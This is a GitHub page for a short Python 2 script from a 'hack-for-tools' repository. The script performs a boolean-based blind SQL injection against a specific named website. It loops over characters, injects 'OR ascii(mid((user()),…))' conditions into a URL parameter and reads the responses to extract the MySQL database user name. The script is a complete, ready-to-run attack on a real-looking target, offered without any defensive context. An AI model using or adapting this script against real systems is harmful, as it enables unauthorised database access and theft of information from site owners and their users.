forked from backlion/hack-for-tools
-
Notifications
You must be signed in to change notification settings - Fork 0
/
MySQL注射(基于bool).py
139 lines (30 loc) · 1.15 KB
/
MySQL注射(基于bool).py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {
'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,15,1):
for payload in payloads:
conn = httplib.HTTPConnection('lbj.cikuu.com', timeout=60)
s = "ascii(mid((user()),%s,1))=%s" % (i, ord(payload))
conn.request(method='GET',
url="/index.php?a=arcon&id=-1 OR " + s + "&m=Index",
headers = headers)
html_doc = conn.getresponse().read()
conn.close()
if html_doc.find('2014') > 0:
user += payload
sys.stdout.write('\r[In progress] %s' % user)
sys.stdout.flush()
break
else:
print '.',
print '\n[Done]MySQL user is', user